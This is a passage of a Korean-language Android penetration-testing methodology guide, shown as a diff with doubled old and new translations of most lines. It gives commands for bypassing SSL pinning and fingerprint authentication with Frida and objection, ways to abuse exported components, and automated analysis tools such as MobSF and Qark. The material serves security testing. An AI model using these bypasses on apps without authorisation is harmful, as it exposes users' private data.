애플리케이션은 종종 Google Adsense와 같은 서비스를 통합하여 개발자의 부적절한 구현으로 인해 민감한 데이터가 **유출될 수 있습니다**. 잠재적인 데이터 유출을 식별하기 위해 **애플리케이션의 트래픽을 가로채고** 제3자 서비스에 전송되는 민감한 정보가 있는지 확인하는 것이 좋습니다.
응용 프로그램은 종종 Google Adsense와 같은 서비스를 통합하여 개발자의 부적절한 구현으로 인해 민감한 데이터가 **유출될 수 있습니다**. 잠재적인 데이터 유출을 식별하기 위해 **응용 프로그램의 트래픽을 가로채고** 제3자 서비스에 전송되는 민감한 정보가 있는지 확인하는 것이 좋습니다.
### SQLite DBs
대부분의 애플리케이션은 정보를 저장하기 위해 **내부 SQLite 데이터베이스**를 사용합니다. 펜테스트 중에 생성된 **데이터베이스**, **테이블****열**의 이름과 저장된 모든 **데이터**를 살펴보아야 합니다. 왜냐하면 **민감한 정보**(취약점이 될 수 있음)를 발견할 수 있기 때문입니다.\
대부분의 응용 프로그램은 정보를 저장하기 위해 **내부 SQLite 데이터베이스**를 사용합니다. 펜테스트 중에 생성된 **데이터베이스**, **테이블****열**의 이름과 저장된 모든 **데이터**를 살펴보아야 합니다. 왜냐하면 **민감한 정보**(취약점이 될 수 있음)를 발견할 수 있기 때문입니다.\
데이터베이스는 `/data/data/the.package.name/databases`에 위치해야 하며, 예를 들어 `/data/data/com.mwr.example.sieve/databases`와 같습니다.
데이터베이스가 기밀 정보를 저장하고 **암호화되어** 있지만 애플리케이션 내에서 **비밀번호**를 **찾을 수** 있다면 여전히 **취약점**입니다.
데이터베이스가 기밀 정보를 저장하고 **암호화되어** 있지만 애플리케이션 내에서 **비밀번호**를 **찾을 수 있다면** 여전히 **취약점**입니다.
`.tables`를 사용하여 테이블을 나열하고, `.schema <table_name>`을 사용하여 테이블의 열을 나열합니다.
@ -351,7 +321,7 @@ adb shell am start -n com.example.demo/com.example.test.MainActivity
**참고**: MobSF는 활동에서 `android:launchMode`로 _**singleTask/singleInstance**_를 사용할 경우 악성으로 감지하지만, [이것](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750) 때문에, 이는 구버전(API 버전 < 21)에서만 위험한 것으로 보입니다.
> [!NOTE]
> 권한 우회가 항상 취약점은 아니라는 점에 유의해야 하며, 이는 우회 방식과 노출되는 정보에 따라 다릅니다.
> 권한 우회가 항상 취약점이 되는 것은 아니며, 우회가 어떻게 작동하는지와 어떤 정보가 노출되는지에 따라 다릅니다.
**민감한 정보 유출**
@ -363,23 +333,23 @@ Tapjacking이 방지되지 않으면, 내보내기된 활동을 악용하여 **
### **콘텐츠 제공자 악용 - 민감한 정보 접근 및 조작**
[**콘텐츠 제공자가 무엇인지 새롭게 알고 싶다면 이 내용을 읽어보세요.**](android-applications-basics.md#content-provider)\
[**콘텐츠 제공자가 무엇인지 새롭게 알고 싶다면 이 을 읽어보세요.**](android-applications-basics.md#content-provider)\
콘텐츠 제공자는 기본적으로 **데이터를 공유**하는 데 사용됩니다. 앱에 사용 가능한 콘텐츠 제공자가 있다면, 그들로부터 **민감한** 데이터를 **추출**할 수 있을지도 모릅니다. 또한 **SQL 인젝션** 및 **경로 탐색**을 테스트하는 것도 흥미롭습니다. 이들은 취약할 수 있습니다.
[**Drozer로 콘텐츠 제공자를 악용하는 방법을 배우세요.**](drozer-tutorial/#content-providers)
### **서비스 악용**
[**서비스가 무엇인지 새롭게 알고 싶다면 이 내용을 읽어보세요.**](android-applications-basics.md#services)\
서비스의 동작은 `onStartCommand` 메서드에서 시작된다는 을 기억하세요.
[**서비스가 무엇인지 새롭게 알고 싶다면 이 을 읽어보세요.**](android-applications-basics.md#services)\
서비스의 동작은 `onStartCommand` 메서드에서 시작된다는 을 기억하세요.
서비스는 기본적으로 **데이터를 수신**하고, **처리**하며, **응답**(또는 응답하지 않을 수 있음)을 **반환**하는 것입니다. 따라서 애플리케이션이 일부 서비스를 내보내고 있다면, **코드****확인**하여 그것이 무엇을 하는지 이해하고, **민감한 정보를 추출**하거나 인증 수단을 우회하기 위해 **동적으로** **테스트**해야 합니다.\
서비스는 기본적으로 **데이터를 수신**하고, **처리**하며 **응답**(또는 하지 않을 수 있음)을 **반환**하는 것입니다. 따라서 애플리케이션이 일부 서비스를 내보내고 있다면, **코드를 확인**하여 그것이 무엇을 하는지 이해하고, **민감한 정보를 추출**하거나 인증 수단을 우회하기 위해 **동적으로 테스트**해야 합니다.\
[**Drozer로 서비스를 악용하는 방법을 배우세요.**](drozer-tutorial/#services)
### **브로드캐스트 수신기 악용**
[**브로드캐스트 수신기가 무엇인지 새롭게 알고 싶다면 이 내용을 읽어보세요.**](android-applications-basics.md#broadcast-receivers)\
브로드캐스트 수신기의 동작은 `onReceive` 메서드에서 시작된다는 을 기억하세요.
[**브로드캐스트 수신기가 무엇인지 새롭게 알고 싶다면 이 을 읽어보세요.**](android-applications-basics.md#broadcast-receivers)\
브로드캐스트 수신기의 동작은 `onReceive` 메서드에서 시작된다는 을 기억하세요.
브로드캐스트 수신기는 특정 유형의 메시지를 기다리고 있습니다. 수신기가 메시지를 처리하는 방식에 따라 취약할 수 있습니다.\
[**Drozer로 브로드캐스트 수신기를 악용하는 방법을 배우세요.**](./#exploiting-broadcast-receivers)
@ -420,8 +390,8 @@ _패키지 이름을 **생략할 수** 있으며, 모바일은 자동으로 해
### 전송 계층 검사 및 검증 실패
- **인증서는 Android 애플리케이션에서 항상 제대로 검사되지 않습니다**. 이러한 애플리케이션이 경고를 무시하고 자체 서명된 인증서를 수락하거나, 경우에 따라 HTTP 연결로 되돌아가는 것이 일반적입니다.
- **SSL/TLS 핸드셰이크 중 협상이 때때로 약합니다**, 안전하지 않은 암호 모음을 사용합니다. 이 취약점은 연결을 중간자 공격(MITM)에 취약하게 만들어 공격자가 데이터를 복호화할 수 있게 합니다.
- **민감한 정보의 유출**은 애플리케이션이 안전한 채널을 사용하여 인증하지만 다른 거래에 대해 안전하지 않은 채널을 통해 통신할 때 위험이 있습니다. 이 접근 방식은 세션 쿠키나 사용자 세부정보와 같은 민감한 데이터를 악의적인 엔티티의 가로채기로부터 보호하지 못합니다.
- **SSL/TLS 핸드셰이크 중 협상이 때때로 약합니다**, 안전하지 않은 암호 모음을 사용합니다. 이 취약점은 연결을 중간자(MITM) 공격에 취약하게 만들어 공격자가 데이터를 복호화할 수 있게 합니다.
- **민감한 정보의 유출**은 애플리케이션이 안전한 채널을 사용하여 인증하지만 다른 거래에 대해 비안전한 채널을 통해 통신할 때 위험이 있습니다. 이 접근 방식은 세션 쿠키나 사용자 세부정보와 같은 민감한 데이터를 악의적인 엔티티의 가로채기로부터 보호하지 못합니다.
#### 인증서 검증
@ -439,21 +409,21 @@ HTTP 트래픽을 검사하려면 **프록시 도구의 인증서를 설치해
#### SSL 핀닝 우회
SSL 핀닝이 구현된 경우 HTTPS 트래픽을 검사하기 위해 이를 우회해야 합니다. 이를 위한 다양한 방법이 있습니다:
SSL 핀닝이 구현되면 HTTPS 트래픽을 검사하기 위해 이를 우회해야 합니다. 이를 위한 다양한 방법이 있습니다:
- **apk**를 자동으로 **수정하여** SSLPinning을 **우회**하는 [**apk-mitm**](https://github.com/shroudedcode/apk-mitm)을 사용할 수 있습니다. 이 옵션의 가장 큰 장점은 SSL 핀닝을 우회하기 위해 루트가 필요하지 않지만, 애플리케이션을 삭제하고 새로 설치해야 하며, 항상 작동하지는 않습니다.
- **Frida**를 사용하여 이 보호를 우회할 수 있습니다(아래에서 논의됨). Burp+Frida+Genymotion을 사용하는 방법에 대한 가이드는 [여기](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)에서 확인하세요.
- **objection**을 사용하여 SSL 핀닝을 **자동으로 우회**할 수도 있습니다: `objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
- **apk**를 **수정하여** SSLPinning을 **우회**하는 [**apk-mitm**](https://github.com/shroudedcode/apk-mitm)을 자동으로 사용할 수 있습니다. 이 옵션의 가장 큰 장점은 SSL 핀닝을 우회하기 위해 루트가 필요하지 않지만, 애플리케이션을 삭제하고 새로 설치해야 하며, 항상 작동하지는 않습니다.
- **Frida**를 사용하여 이 보호를 우회할 수 있습니다(아래에서 논의됨). Burp+Frida+Genymotion을 사용하는 방법에 대한 가이드는 [여기에서 확인하세요](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/).
- **objection**을 사용하여 SSL 핀닝을 **자동으로 우회**할 수도 있습니다: `objection --gadget com.package.app explore --startup-command "android sslpinning disable"`.
- **MobSF 동적 분석**을 사용하여 SSL 핀닝을 **자동으로 우회**할 수도 있습니다(아래에서 설명됨).
- 여전히 캡처하지 못한 트래픽이 있다고 생각되면 **iptables를 사용하여 트래픽을 burp로 포워딩**할 수 있습니다. 이 블로그를 읽어보세요: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62)
- 여전히 캡처하지 못한 트래픽이 있다고 생각되면 **iptables를 사용하여 트래픽을 burp로 포워딩**할 수 있습니다. 이 블로그를 읽어보세요: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62).
#### 일반 웹 취약점 찾기
애플리케이션 내에서 일반 웹 취약점을 검색하는 것도 중요합니다. 이러한 취약점을 식별하고 완화하는 방법에 대한 자세한 정보는 이 요약의 범위를 넘어가지만 다른 곳에서 광범위하게 다루어집니다.
애플리케이션 내에서 일반 웹 취약점을 검색하는 것도 중요합니다. 이러한 취약점을 식별하고 완화하는 방법에 대한 자세한 정보는 이 요약의 범위를 넘어가지만, 다른 곳에서 광범위하게 다루어지고 있습니다.
### Frida
[Frida](https://www.frida.re)는 개발자, 리버스 엔지니어 및 보안 연구자를 위한 동적 계측 도구 키트입니다.\
[Frida](https://www.frida.re)는 개발자, 리버스 엔지니어 및 보안 연구자를 위한 동적 계측 툴킷입니다.\
**실행 중인 애플리케이션에 접근하고 런타임에서 메서드를 후킹하여 동작을 변경하고, 값을 변경하고, 값을 추출하고, 다른 코드를 실행할 수 있습니다...**\
Android 애플리케이션을 펜테스트하려면 Frida를 사용하는 방법을 알아야 합니다.
@ -482,7 +452,7 @@ strings * | grep -E "^[a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a
```
### **Keystore의 민감한 데이터**
Android에서 Keystore는 민감한 데이터를 저장하기에 가장 좋은 장소이지만, 충분한 권한이 있으면 여전히 **접근할 수 있습니다**. 애플리케이션이 여기에서 **명확한 텍스트로 민감한 데이터를 저장하는 경향이 있기 때문에** 펜테스트는 루트 사용자로 확인해야 하며, 물리적으로 장치에 접근할 수 있는 사람은 이 데이터를 훔칠 수 있습니다.
Android에서 Keystore는 민감한 데이터를 저장하기에 가장 좋은 장소이지만, 충분한 권한이 있으면 여전히 **접근할 수 있습니다**. 애플리케이션이 여기에서 **명확한 텍스트로 민감한 데이터를 저장하는 경향이 있기 때문에** 펜테스트는 이를 확인해야 하며, 루트 사용자 또는 장치에 물리적으로 접근할 수 있는 사람이 이 데이터를 훔칠 수 있습니다.
앱이 keystore에 데이터를 저장하더라도, 데이터는 암호화되어야 합니다.
@ -492,19 +462,19 @@ frida -U -f com.example.app -l frida-scripts/tracer-cipher.js
```
### **지문/생체 인식 우회**
다음 Frida 스크립트를 사용하면 **지문 인증을 우회**할 수 있을 것입니다. Android 애플리케이션이 **특정 민감한 영역을 보호하기 위해 수행할 수 있습니다:**
다음 Frida 스크립트를 사용하면 **지문 인증을 우회**할 수 있을 수 있으며, Android 애플리케이션이 **특정 민감한 영역을 보호하기 위해 수행할 수 있습니다:**
```bash
frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f <app.package>
```
### **배경 이미지**
애플리케이션을 백그라운드에 두면 Android는 **애플리케이션의 스냅샷**을 저장하므로, 포그라운드로 복구될 때 앱보다 이미지를 먼저 로드하여 앱이 더 빨리 로드된 것처럼 보입니다.
애플리케이션을 백그라운드에 두면, Android는 **애플리케이션의 스냅샷**을 저장하므로, 포그라운드로 복구될 때 앱보다 이미지를 먼저 로드하여 앱이 더 빨리 로드된 것처럼 보입니다.
그러나 이 스냅샷에 **민감한 정보**가 포함되어 있다면, 스냅샷에 접근할 수 있는 사람은 **그 정보를 훔칠 수 있습니다** (접근하려면 루트 권한이 필요합니다).
스냅샷은 일반적으로 다음 위치에 저장됩니다: **`/data/system_ce/0/snapshots`**
Android는 **FLAG_SECURE** 레이아웃 매개변수를 설정하여 스크린샷 캡처를 **방지하는 방법**을 제공합니다. 이 플래그를 사용하면 창의 내용이 안전하게 처리되어 스크린샷에 나타나거나 비안전한 디스플레이에서 볼 수 없게 됩니다.
Android는 **FLAG_SECURE** 레이아웃 매개변수를 설정하여 스크린샷 캡처를 **방지하는 방법**을 제공합니다. 이 플래그를 사용하면 창 내용이 안전한 것으로 처리되어 스크린샷에 나타나거나 비안전한 디스플레이에서 볼 수 없게 됩니다.
```bash
getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
```
@ -516,14 +486,14 @@ getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
개발자는 종종 이러한 인텐트를 처리하고 `startActivity(...)` 또는 `sendBroadcast(...)`와 같은 메서드로 전달하는 프록시 구성 요소인 활동, 서비스 및 브로드캐스트 수신기를 생성합니다. 이는 위험할 수 있습니다.
위험은 공격자가 이러한 인텐트를 잘못 유도하여 비공개 앱 구성 요소를 트리거하거나 민감한 콘텐츠 제공자에 접근할 수 있도록 허용하는 데 있습니다. 주목할 만한 예는 `WebView` 구성 요소가 URL을 `Intent` 객체로 변환하는 `Intent.parseUri(...)`를 통해 이를 실행하여 악의적인 인텐트 주입으로 이어질 수 있니다.
위험은 공격자가 이러한 인텐트를 잘못 유도하여 비공개 앱 구성 요소를 트리거하거나 민감한 콘텐츠 제공자에 접근할 수 있도록 허용하는 데 있습니다. 주목할 만한 예는 `WebView` 구성 요소가 URL을 `Intent` 객체로 변환하는 `Intent.parseUri(...)`를 통해 이를 실행하여 악의적인 인텐트 주입으로 이어질 수 있는 경우입니다.
### 필수 요점
### 주요 요점
- **인텐트 주입**은 웹의 오픈 리디렉션 문제와 유사합니다.
- 익스플로잇은 `Intent` 객체를 추가로 전달하여 안전하지 않은 작업을 실행하도록 리디렉션할 수 있습니다.
- 비공개 구성 요소와 콘텐츠 제공자를 공격자에게 노출할 수 있습니다.
- `WebView`의 URL을 `Intent`로 변환하는 은 의도하지 않은 작업을 촉진할 수 있습니다.
- `WebView`의 URL을 `Intent`로 변환하는 과정은 의도하지 않은 작업을 촉진할 수 있습니다.
### 안드로이드 클라이언트 측 주입 및 기타
@ -537,21 +507,6 @@ getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
---
<figure><img src="../../images/image (3).png" alt=""><figcaption></figcaption></figure>
경험이 풍부한 해커 및 버그 바운티 헌터와 소통하기 위해 [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) 서버에 참여하세요!
**해킹 통찰력**\
해킹의 스릴과 도전에 대해 깊이 있는 콘텐츠에 참여하세요.
**실시간 해킹 뉴스**\
실시간 뉴스와 통찰력을 통해 빠르게 변화하는 해킹 세계의 최신 정보를 유지하세요.
**최신 발표**\
새로운 버그 바운티 출시 및 중요한 플랫폼 업데이트에 대한 정보를 유지하세요.
오늘 [**Discord**](https://discord.com/invite/N3FrSbmwdy)에 참여하여 최고의 해커들과 협업을 시작하세요!
## 자동 분석
### [MobSF](https://github.com/MobSF/Mobile-Security-Framework-MobSF)
@ -560,43 +515,43 @@ getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
![](<../../images/image (866).png>)
**멋진 웹 기반 프론트엔드를 사용한 애플리케이션의 취약점 평가**. 동적 분석도 수행할 수 있지만 환경을 준비해야 합니다.
**애플리케이션의 취약점 평가**를 위한 멋진 웹 기반 프론트엔드를 사용합니다. 동적 분석도 수행할 수 있지만 환경을 준비해야 합니다.
```bash
docker pull opensecurity/mobile-security-framework-mobsf
docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
```
MobSF는 **Android**(apk)**, IOS**(ipa) **및 Windows**(apx) 애플리케이션을 분석할 수 있습니다 (_Windows 애플리케이션은 Windows 호스트에 설치된 MobSF에서 분석해야 합니다_).\
또한, **Android** 또는 **IOS** 앱의 소스 코드로 **ZIP** 파일을 생성하면 (애플리케이션의 루트 폴더로 이동하여 모든 것을 선택하고 ZIP 파일을 생성), 그것도 분석할 수 있습니다.
또한 **Android** 또는 **IOS** 앱의 소스 코드로 **ZIP** 파일을 생성하면 (애플리케이션의 루트 폴더로 이동하여 모든 것을 선택하고 ZIP 파일을 생성), 그것도 분석할 수 있습니다.
MobSF는 또한 **diff/비교** 분석을 허용하고 **VirusTotal** 통합할 수 있습니다 (API 키를 _MobSF/settings.py_에 설정하고 활성화해야 합니다: `VT_ENABLED = TRUE` `VT_API_KEY = <Your API key>` `VT_UPLOAD = TRUE`). `VT_UPLOAD``False`로 설정하면 **해시**가 파일 대신 **업로드**됩니다.
MobSF는 또한 **diff/비교** 분석을 허용하고 **VirusTotal** 통합할 수 있습니다 (API 키를 _MobSF/settings.py_에 설정하고 활성화해야 합니다: `VT_ENABLED = TRUE` `VT_API_KEY = <Your API key>` `VT_UPLOAD = TRUE`). `VT_UPLOAD``False`로 설정하면 **해시**가 파일 대신 **업로드**됩니다.
### MobSF를 이용한 보조 동적 분석
**MobSF**는 **Android**에서 **동적 분석**에 매우 유용할 수 있지만, 이 경우 MobSF와 **genymotion**을 호스트에 설치해야 합니다 (VM 또는 Docker는 작동하지 않습니다). _참고: **먼저 genymotion에서 VM을 시작한 후** **MobSF를 시작해야 합니다.**_\
**MobSF**는 **Android**에서 **동적 분석**에 매우 유용할 수 있지만, 이 경우 MobSF와 **genymotion**을 호스트에 설치해야 합니다 (VM이나 Docker는 작동하지 않습니다). _참고: **먼저 genymotion에서 VM을 시작한 후** **MobSF를 시작해야 합니다.**_\
**MobSF 동적 분석기**는 다음을 수행할 수 있습니다:
- **애플리케이션 데이터 덤프** (URL, 로그, 클립보드, 사용자가 만든 스크린샷, "**Exported Activity Tester**"가 만든 스크린샷, 이메일, SQLite 데이터베이스, XML 파일 및 기타 생성된 파일). 이 모든 것은 자동으로 수행되며, 스크린샷은 원할 때 눌러야 하거나 "**Exported Activity Tester**"를 눌러 모든 내보낸 활동의 스크린샷을 얻어야 합니다.
- **애플리케이션 데이터 덤프** (URL, 로그, 클립보드, 사용자가 만든 스크린샷, "**Exported Activity Tester**"가 만든 스크린샷, 이메일, SQLite 데이터베이스, XML 파일 및 기타 생성된 파일). 이 모든 것은 자동으로 수행되지만 스크린샷은 사용자가 원할 때 눌러야 하며, 모든 내보낸 활동의 스크린샷을 얻으려면 "**Exported Activity Tester**"를 눌러야 합니다.
- **HTTPS 트래픽 캡처**
- **Frida**를 사용하여 **런타임** **정보**를 얻기
안드로이드 **버전 > 5**에서는 **Frida를 자동으로 시작**하고 **트래픽 캡처**를 위해 전역 **프록시** 설정을 설정합니다. 테스트된 애플리케이션에서만 트래픽을 캡처합니다.
Android **버전 > 5**부터는 **Frida**를 **자동으로 시작**하고 **트래픽 캡처**를 위해 전역 **프록시** 설정을 설정합니다. 테스트된 애플리케이션에서만 트래픽을 캡처합니다.
**Frida**
기본적으로 SSL 핀닝, **루트 탐지** 및 **디버거 탐지**를 우회하고 **흥미로운 API**를 모니터링하기 위해 일부 Frida 스크립트를 사용합니다.\
MobSF는 또한 **내보낸 활동을 호출**하고, 그들의 **스크린샷을 캡처**하여 보고서에 **저장**할 수 있습니다.
**동적 테스트를 시작하려면** 초록색 버튼: "**Start Instrumentation**"을 누르십시오. "**Frida Live Logs**"를 눌러 Frida 스크립트에 의해 생성된 로그를 보고, "**Live API Monitor**"를 눌러 후킹된 메서드에 대한 모든 호출, 전달된 인수 및 반환된 값을 확인하십시오 (이것은 "Start Instrumentation"을 누른 후에 나타납니다).\
**동적 테스트를 시작**하려면 초록색 버튼: "**Start Instrumentation**"을 누르십시오. "**Frida Live Logs**"를 눌러 Frida 스크립트에 의해 생성된 로그를 보고, "**Live API Monitor**"를 눌러 후킹된 메서드에 대한 모든 호출, 전달된 인수 및 반환된 값을 확인하십시오 (이것은 "Start Instrumentation"을 누른 후에 나타납니다).\
MobSF는 또한 자신의 **Frida 스크립트**를 로드할 수 있습니다 (Frida 스크립트의 결과를 MobSF에 보내려면 `send()` 함수를 사용하십시오). 또한 로드할 수 있는 **여러 사전 작성된 스크립트**가 있습니다 (더 추가할 수 있습니다 `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), 그냥 **선택하고**, "**Load**"를 누르고 "**Start Instrumentation**"을 누르십시오 (해당 스크립트의 로그는 "**Frida Live Logs**"에서 볼 수 있습니다).
![](<../../images/image (419).png>)
또한, 몇 가지 보조 Frida 기능이 있습니다:
또한 몇 가지 보조 Frida 기능이 있습니다:
- **로드된 클래스 나열**: 모든 로드된 클래스를 인쇄합니다.
- **문자열 캡처**: 애플리케이션을 사용하는 동안 모든 캡처 문자열을 인쇄합니다 (매우 시끄러움).
- **로드된 클래스 나열**: 모든 로드된 클래스를 출력합니다.
- **문자열 캡처**: 애플리케이션을 사용하는 동안 모든 캡처 문자열을 출력합니다 (매우 시끄러움).
- **문자열 비교 캡처**: 매우 유용할 수 있습니다. **비교되는 2개의 문자열**과 결과가 True인지 False인지 보여줍니다.
- **클래스 메서드 나열**: 클래스 이름(예: "java.io.File")을 입력하면 클래스의 모든 메서드를 인쇄합니다.
- **클래스 메서드 나열**: 클래스 이름(예: "java.io.File")을 입력하면 클래스의 모든 메서드를 출력합니다.
- **클래스 패턴 검색**: 패턴으로 클래스를 검색합니다.
- **클래스 메서드 추적**: **전체 클래스**를 **추적**합니다 (클래스의 모든 메서드의 입력 및 출력을 확인합니다). 기본적으로 MobSF는 여러 흥미로운 Android API 메서드를 추적합니다.
@ -604,7 +559,7 @@ MobSF는 또한 자신의 **Frida 스크립트**를 로드할 수 있습니다 (
**Shell**
Mobsf는 또한 동적 분석 페이지 하단에 일부 **adb** 명령, **MobSF 명령** 및 일반 **** **명령**이 포함된 셸을 제공합니다. 몇 가지 흥미로운 명령:
Mobsf는 또한 동적 분석 페이지 하단에 일부 **adb** 명령, **MobSF 명령** 및 일반 **** **명령**이 포함된 셸을 제공합니다. 몇 가지 흥미로운 명령:
```bash
help
shell ls
@ -615,7 +570,7 @@ receivers
```
**HTTP 도구**
HTTP 트래픽이 캡처되면 "**HTTP(S) Traffic**" 하단에서 캡처된 트래픽의 보기 좋지 않은 형태를 볼 수 있으며, "**Start HTTPTools**" 녹색 버튼에서 더 나은 보기를 볼 수 있습니다. 두 번째 옵션에서 **캡처된 요청**을 Burp 또는 Owasp ZAP과 같은 **프록시**로 **전송**할 수 있습니다.\
HTTP 트래픽이 캡처되면 "**HTTP(S) Traffic**" 하단에서 캡처된 트래픽의 보기 좋지 않은 형태를 볼 수 있으며, "**Start HTTPTools**" 녹색 버튼에서 더 나은 보기를 볼 수 있습니다. 두 번째 옵션에서 **캡처된 요청**을 **프록시**인 Burp 또는 Owasp ZAP으로 **전송**할 수 있습니다.\
이를 위해, _Burp 켜기 -->_ _Intercept 끄기 --> MobSB HTTPTools에서 요청 선택_ --> "**Send to Fuzzer**" 버튼을 누르기 --> _프록시 주소 선택_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)).
MobSF로 동적 분석을 마친 후 "**Start Web API Fuzzer**"를 눌러 **HTTP 요청을 퍼징**하고 취약점을 찾아볼 수 있습니다.
@ -630,7 +585,7 @@ MobSF로 동적 분석을 마친 후 "**Start Web API Fuzzer**"를 눌러 **HTTP
### Inspeckage를 이용한 보조 동적 분석
[**Inspeckage**](https://github.com/ac-pm/Inspeckage)에서 도구를 받을 수 있습니다.\
이 도구는 **동적 분석**을 수행하는 동안 **애플리케이션에서 무슨 일이 일어나고 있는지** 수 있도록 몇 가지 **후크**를 사용합니다.
이 도구는 **동적 분석**을 수행하는 동안 **애플리케이션에서 무슨 일이 일어나고 있는지**리기 위해 몇 가지 **Hooks**를 사용합니다.
### [Yaazhini](https://www.vegabird.com/yaazhini/)
@ -640,7 +595,7 @@ MobSF로 동적 분석을 마친 후 "**Start Web API Fuzzer**"를 눌러 **HTTP
### [Qark](https://github.com/linkedin/qark)
이 도구는 **소스 코드** 또는 **패키지된 APK**에서 여러 **보안 관련 Android 애플리케이션 취약점**을 찾도록 설계되었습니다. 이 도구는 또한 발견된 일부 취약점을 악용하기 위한 **"Proof-of-Concept" 배포 가능한 APK** 및 **ADB 명령**을 생성할 수 있습니다 (노출된 활동, 인텐트, 탭재킹...). Drozer와 마찬가지로 테스트 장치를 루팅할 필요가 없습니다.
이 도구는 **소스 코드** 또는 **패키지된 APK**에서 여러 **보안 관련 Android 애플리케이션 취약점**을 찾기 위해 설계되었습니다. 이 도구는 또한 발견된 일부 취약점을 악용하기 위한 **"Proof-of-Concept" 배포 가능한 APK** 및 **ADB 명령**을 생성할 수 있습니다 (노출된 활동, 인텐트, 탭재킹...). Drozer와 마찬가지로 테스트 장치를 루팅할 필요가 없습니다.
```bash
pip3 install --user qark # --user is only needed if not using a virtualenv
qark --apk path/to/my.apk
@ -651,7 +606,7 @@ qark --java path/to/specific/java/file.java
- 모든 추출된 파일을 쉽게 참조할 수 있도록 표시
- APK 파일을 자동으로 Java 및 Smali 형식으로 디컴파일
- 일반적인 취약점 및 동작을 위 AndroidManifest.xml 분석
- 일반적인 취약점 및 동작을 위 AndroidManifest.xml 분석
- 일반적인 취약점 및 동작에 대한 정적 소스 코드 분석
- 장치 정보
- 기타 등등
@ -662,9 +617,9 @@ reverse-apk relative/path/to/APP.apk
SUPER는 Windows, MacOS X 및 Linux에서 사용할 수 있는 명령줄 애플리케이션으로, 취약점을 찾기 위해 _.apk_ 파일을 분석합니다. 이는 APK를 압축 해제하고 일련의 규칙을 적용하여 이러한 취약점을 감지합니다.
모든 규칙은 `rules.json` 파일에 중심을 두고 있으며, 각 회사나 테스터는 필요에 따라 분석할 자체 규칙을 만들 수 있습니다.
모든 규칙은 `rules.json` 파일에 중심을 두고 있으며, 각 회사나 테스터는 필요에 따라 분석할 규칙을 만들 수 있습니다.
최신 바이너리는 [download page](https://superanalyzer.rocks/download.html)에서 다운로드하세요.
최신 바이너리는 [다운로드 페이지](https://superanalyzer.rocks/download.html)에서 다운로드하세요.
```
super-analyzer {apk_file}
```
@ -674,7 +629,7 @@ super-analyzer {apk_file}
StaCoAn은 개발자, 버그 바운티 헌터 및 윤리적 해커가 모바일 애플리케이션에 대해 [정적 코드 분석](https://en.wikipedia.org/wiki/Static_program_analysis)을 수행하는 데 도움을 주는 **크로스 플랫폼** 도구입니다.
개념은 모바일 애플리케이션 파일(.apk 또는 .ipa 파일)을 StaCoAn 애플리케이션에 드래그 앤 드롭하면 시각적이고 휴대 가능한 보고서를 생성는 것입니다. 설정과 단어 목록을 조정하여 맞춤형 경험을 얻을 수 있습니다.
개념은 모바일 애플리케이션 파일(.apk 또는 .ipa 파일)을 StaCoAn 애플리케이션에 드래그 앤 드롭하면 시각적이고 휴대 가능한 보고서를 생성한다는 것입니다. 설정과 단어 목록을 조정하여 맞춤형 경험을 얻을 수 있습니다.
다운로드[ 최신 릴리스](https://github.com/vincentcox/StaCoAn/releases):
```
@ -715,7 +670,7 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
### Koodous
악성코드를 탐지하는 데 유용합니다: [https://koodous.com/](https://koodous.com)
악성 소프트웨어를 탐지하는 데 유용합니다: [https://koodous.com/](https://koodous.com)
## 코드 난독화/디오브스큐레이션
@ -729,7 +684,7 @@ ProGuard는 Android SDK의 일부로 배포되며 애플리케이션을 릴리
### [DexGuard](https://www.guardsquare.com/dexguard)
[https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html)에서 APK를 디오브스큐레이션하는 단계별 가이드를 찾으세요.
APK를 디오브스큐레이션하는 단계별 가이드를 [https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html)에서 찾을 수 있습니다.
(그 가이드에서) 마지막으로 확인했을 때, Dexguard의 작동 모드는 다음과 같았습니다:
@ -745,9 +700,13 @@ ProGuard는 Android SDK의 일부로 배포되며 애플리케이션을 릴리
난독화된 APK를 그들의 플랫폼에 업로드할 수 있습니다.
### [Deobfuscate android App](https://github.com/In3tinct/deobfuscate-android-app)
이것은 Android 앱에서 잠재적인 보안 취약점을 찾고 Android 앱 코드를 디오브스큐레이션하는 LLM 도구입니다. Google의 Gemini 공개 API를 사용합니다.
### [Simplify](https://github.com/CalebFenton/simplify)
이는 **일반적인 안드로이드 디오브스큐레이터**입니다. Simplify는 **앱을 가상 실행**하여 그 동작을 이해하고, **코드를 최적화**하여 동일하게 동작하지만 사람이 이해하기 쉽게 만듭니다. 각 최적화 유형은 간단하고 일반적이므로 사용된 특정 난독화 유형은 중요하지 않습니다.
이는 **일반 Android 디오브스큐레이터**입니다. Simplify는 **앱을 가상 실행**하여 그 동작을 이해하고, **코드를 최적화**하여 동일하게 동작하지만 사람이 이해하기 쉽게 만듭니다. 각 최적화 유형은 간단하고 일반적이므로 사용된 특정 난독화 유형은 중요하지 않습니다.
### [APKiD](https://github.com/rednaga/APKiD)
@ -755,13 +714,13 @@ APKiD는 **APK가 어떻게 만들어졌는지**에 대한 정보를 제공합
